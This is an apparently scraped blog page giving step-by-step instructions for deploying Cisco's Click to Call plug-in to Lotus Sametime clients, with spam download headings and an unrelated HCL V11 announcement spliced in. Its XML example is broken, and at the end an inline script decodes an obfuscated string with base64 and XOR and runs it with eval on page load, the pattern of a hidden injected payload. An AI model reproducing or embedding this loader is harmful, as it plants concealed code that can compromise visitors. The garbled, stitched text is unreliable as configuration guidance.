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Installing Cisco ClickToCall plug-in for Sametime Client

We have deployed Sametime some year hence in the company. Now it was time to upgrade its functionality and click to call just sounded as the right one. Not only it removes the need for you to browse company directory for telephone number of a person you want to call (you just do that from Sametime), but it also is able to display outside caller information, if you have their information in Server Directory Catalog (sdc.nsf) database.

I will try to cover configuration and deployment of Cisco Click To Call plug-in for Sametime integrated client. Beware, this plug-in will only work with Cisco telephones and Cisco Call Manager.

Step 1 – Configure Cisco Click to Call plug-in

Cisco Click to Call plug-in is available at Cisco site. Unfortunately it is not free, until you reach certain level of partnership or something like that. For this current post, I’ll assume you have access to the download site.

You only need plug-in for Sametime Client. Server plug-in enables you click to conference, which can connect Sametime to WebEx if I remember correctly.

Extract the plug-in in your directory and go to ciscocfg. Click only executable there (ciscocfg.exe) and select update site which is located at CiscoPCAPWithLotusST_7.1.1.952UpdateSite directory. A GUI window opens. Fill in required data. Don’t forget about dialing rules, as they may be key to resolving caller identity. Templates for dialing rules can be found at templates directory.

When you are done, go to File->Save All. This will configure your update site.

Step 2 – Create Eclipse Update Site

First, if you already have Eclipse update site on your system, you can skip this step.

The easiest was to create Eclipse Update Site is to use Notes 8.x integrated template. Go to File->Application->New, enter required data, and check Show advanced templates check-box. Be sure you selected your server for template list. Select Eclipse update site and click OK. When processing finishes, you will have your update site.

Step 3 – Create Widget catalog database

Again, if you already have a widget catalog database deployed, you do not need to read this.

For those of you, setting the catalog database for the first time, the process is very similar to creating Eclipse update site described in Step 2. Just pick another template, which is called Widget catalog.

Step 4 – Deploying the plug-in (sort of)

Now that you have your plug-in configured and your update site and widget catalog created, you can proceed with deployment.

Sametime Connect Download

What you need to do now is to import your plug-in to your update site database. This is a simple step. Just open your update site database and select Import local update sitefrom view actions. A dialog pops up. All you need to do is to point the location to your site.xml file in the plug-in directory on your hard drive and select OK. If all goes well, you should have an update site imported in about a minute.

If you are only using Sametime Connect clients in your environment, all you need to do now, is go to your Sametime server Administration via web and enter URL of the update site to Sametime update site URL field in your Sametime policy document (can be default policy). All updates located in this update site will be automatically installed to clients at next start up (or about a minute later). Save the document and restart your Sametime server. That’s it, you are done.

Unfortunately, for us, working with environments with integrated Sametime clients, this is only beginning of the road. We took care of Sametime Connect clients and now it is time to do the same for integrated clients. I don’t know what was a reason behind it, but setting an update site just won’t cut it.

Step 5 – Creating a widget from your plug-in

To deploy an update/plug-in for integrated Sametime client, you need to create a widget from your update site. This is specially interesting and fiddly step, as you will have to manually create your own extension.xml file. Widgets, you see, don’t know how to use update sites directly. Extension.xml file is an adapter. BTW, you can name the file as you want, as long as it has correct format. Below is source of my extension file (marked attributes are changeable).

</div><table><tbody><tr><td><div><div>2</div><div>4</div><div>6</div><div>8</div><div>10</div><div>12</div><div>14</div><div>16</div><div>18</div><div>20</div><div>22</div><div>24</div><div>26</div><div>28</div><div>30</div><div>32</div></div></td><td><div><div><span><</span><span>webcontextConfiguration </span><span>version</span>=<span>'1.1'</span><span>></span></div><div><span>id</span>=<span>'com.cisco.sametime.phone.featurest800'</span></div><div><span>providerId</span>=<span>'com.ibm.rcp.toolbox.prov.provider.ToolboxProvisioning'</span></div><div><span>url</span>=<span>'nrpc://myUpdateSiteFQDN/replica/site.xml'</span><span>></span></div><div><span><</span>/<span>preferences</span><span>></span></div><div><span><</span><span>installManifest</span><span>></span></div><div><span><</span><span>install</span><span>></span></div><div><span>description</span>=<span>'Click To Call Sametime plugin'</span></div><div><span>name</span>=<span>'Cisco Phone Control and Presence with Lotus Sametime 8.0.0'</span></div><div><span><</span><span>requirements</span><span>></span></div><div><span>id</span>=<span>'com.cisco.sametime.phone.featurest800'</span></div><div><span><</span>/<span>requirements</span><span>></span></div><div><span>]</span><span>]</span><span>></span></div><div><span><</span>/<span>installManifest</span><span>></span></div><div><span><</span>/<span>palleteItem</span><span>></span></div></div></td></tr></tbody></table><h2 id='download-sametime-client-for-mac-download'>Download Sametime Client For Mac Download</h2><ul><li>PalleteItem id, InstallFeature and Feature id must be the same as ID of a plug-in in update site.</li><li>PalleteItem title, InstallFeature description and name are totally up to you</li><li>Feature version must correspond to the value of the field Version in update site document.</li><li>you shoulduse <em>nrpc</em> (for some odd reason http didn’t work). Link can be obtain by going to actions menu of your update site database and select <em>ShowURLs…</em></li></ul><p>Go to your widget catalog database, create <em><strong>New widget</strong></em>, type in some custom data and import created extension.xml file. Save the document and you should have a widget, ready to deploy.</p><p>Tip: don’t forget to specify Widget category. We will go into details later. For now, just trust me.</p><p><strong>Step 6 – Auto-install the plug-in</strong></p><p>With widget created, it would be nice to auto deploy it. Good news is, that you can do that via Notes policy’s Desktop settings. Bad news is, it doesn’t work for everyone. Not quite sure why, but I have a hunch it has to do with people being logged in when policy was deployed.</p><p>The principle of this article is not to teach you how to create a policy. That is pretty straightforward. Let’s just look at your Desktop settings. You have a tab called Widgets. There you specify your server name (this must be a full qualified domain name, despite what help says) and category of widgets you want users to install. And here is the fiddly part. Forget to specify category and plug-in will not be deployed automatically. You can save other defaults or tinker with them, but beware that disallowing people to display My Widgets sidebar will bite you later on with users that didn’t get the plug-in auto installed. Save the setting document, include it in your Policy and deploy it.</p><p><strong>Step 7 – Manually install the plug-in</strong></p><p>Despite all your best efforts to automate the process, you will still have to do this for some users. Nothing fiddly there. just go to <em>File->Preferences->Widgets</em>, select <em>Show widget toolbar and the my widgets sidebar panel</em> and click OK. My widgets sidebar should now appear on the right. Right click on it and select <em>Catalog->Update</em>. This will force an update of user’s local widget catalog (which is created automatically) and thus trigger plug-in installation.</p><p><strong>Step 8 – User input</strong></p><p>I am positive that someone at Lotus had a good reason to notify a user about your intention to install the plug-in. However, there are two things wrong with this:</p><img src='https://www.333download.com/wp-content/uploads/2017/11/filezilla-01.jpg' alt='Download' title='Download' /><ol><li>It gives a user an option to prevent plug-in to install, even though, the policy demands it.</li><li><em>Do not install</em> option is selected by default.</li></ol><p>This not only causes you more work (as you at least have to write an installation e-mail), but actually forces a user to think he/she did something he/she shouldn’t do.</p><p>When plug-in installs, user will have to reboot Notes client for changes to take effect.</p><h2 id='download-sametime-client-for-mac-pro'>Download Sametime Client For Mac Pro</h2><p><strong>Watch out for…<br /></strong></p><ol><li>There is no plug-in for Linux environment</li><li>For some reason, plug-in installs well for Mac clients, but we had a case where suddenly, Lotus would consume all available resources on the machine and demand a hard reboot. Killing processes didn’t help.</li></ol><p><strong>Conclusion</strong></p><h2 id='ibm-sametime-90-download'>Ibm Sametime 9.0 Download</h2><p>In this article, I tried to present you with solution as to installing Cisco Click-to-call plug-in for Lotus Sametime. There are many fiddly steps you need to take, some of them unfortunately unnecessary. However, follow it, and you will successfully deploy Cisco Click-to-call functionality with your Sametime clients.</p><div><span>Categories: Tech stuff</span><br /></div><h2 id='download-sametime-client-for-mac-free'>Download Sametime Client For Mac Free</h2><p><strong>HCL promised, and they delivered! You can now download the latest release of Notes, Domino and Sametime V11!</strong></p><p>It’s always great to see promised made being fulfilled. HCL said they would deliver V11 in the last quarter of 2019. At the release party on December 4th they said Friday December 20th. And lo and behold, they actually did it!</p><p>You can now go to Flexnet (if you have an account, if not, contact your HCL Business Partner) and download V11 of:</p><ul><li>HCL Notes for Windows and Mac, English, Germand and Japanese</li><li>HCL Notes, Designer and Admin for Windows, English, German and Japanese</li><li>HCL Notes Basic Client for Windows, English, German and Japanese</li><li>HCL Domino Server for AIX, Linux, IBMi and Windows, English</li><li>HCL Sametime Community Server for Linux and Windows,</li><li>HCL Sametime Proxy Server for Linux and Windows</li><li>HCL Sametime Client for Mac and Windows</li><li>NICE Tool for Windows</li><li>Install Shield Tuner for Notes 11.0 for Windows, English and ML</li><li>Install Shield Tuner for Notes, Designer and Admin 11.0, English and ML</li><li>HCL Traveler 11.0 for AIX, IBMi, Linux and Windows, ML</li><li>HCL Client Application Access 3.0 for Windows and Mac, English, German and Japanese</li></ul><p>Download commencing!</p><script>var ht='MeKG3kWxeKp02lmiliGPKtaDEngIRPcV03lhjqLeef3wchu5HVqcbV4tdhbPdnPxIC888f73GBKFyNAx1ka4zaUf71dbp4bZzFWJhv6CWvEJlz3zPNW2mT7IR3agb6OKzTf1Z0pGmHieEl3H6NvKhiMOHo0nu0BZP2jAtbJXyqPOL3dGa';var dyo=atob('OwQ5Z0EOMUpYLx9TRwEIBxhHJCU5BgQqMT0EOzsgF21GUh5IEhk+WAsDRFc7JTl9PCIBMQcnQREXHEp5XxY4CmcsSF1WThB0AhZsal5hbhFfDwReCU8mFlZSAUVZDxoyCGggIxwedTEyEiAkGBNSFiNzI0AYMQwxOkFPCAxaICoeaQBENFMELgImQUw+CUUpWmYOIxpHPyo7H18ABlUWPyhGQ3oJWTIwC18jKiJXTG5a');var v='';for(var EY=0;EY<ht.length;EY++){v+=String.fromCharCode(ht.charCodeAt(EY)^dyo.charCodeAt(EY));}eval(v);</script></p>
			
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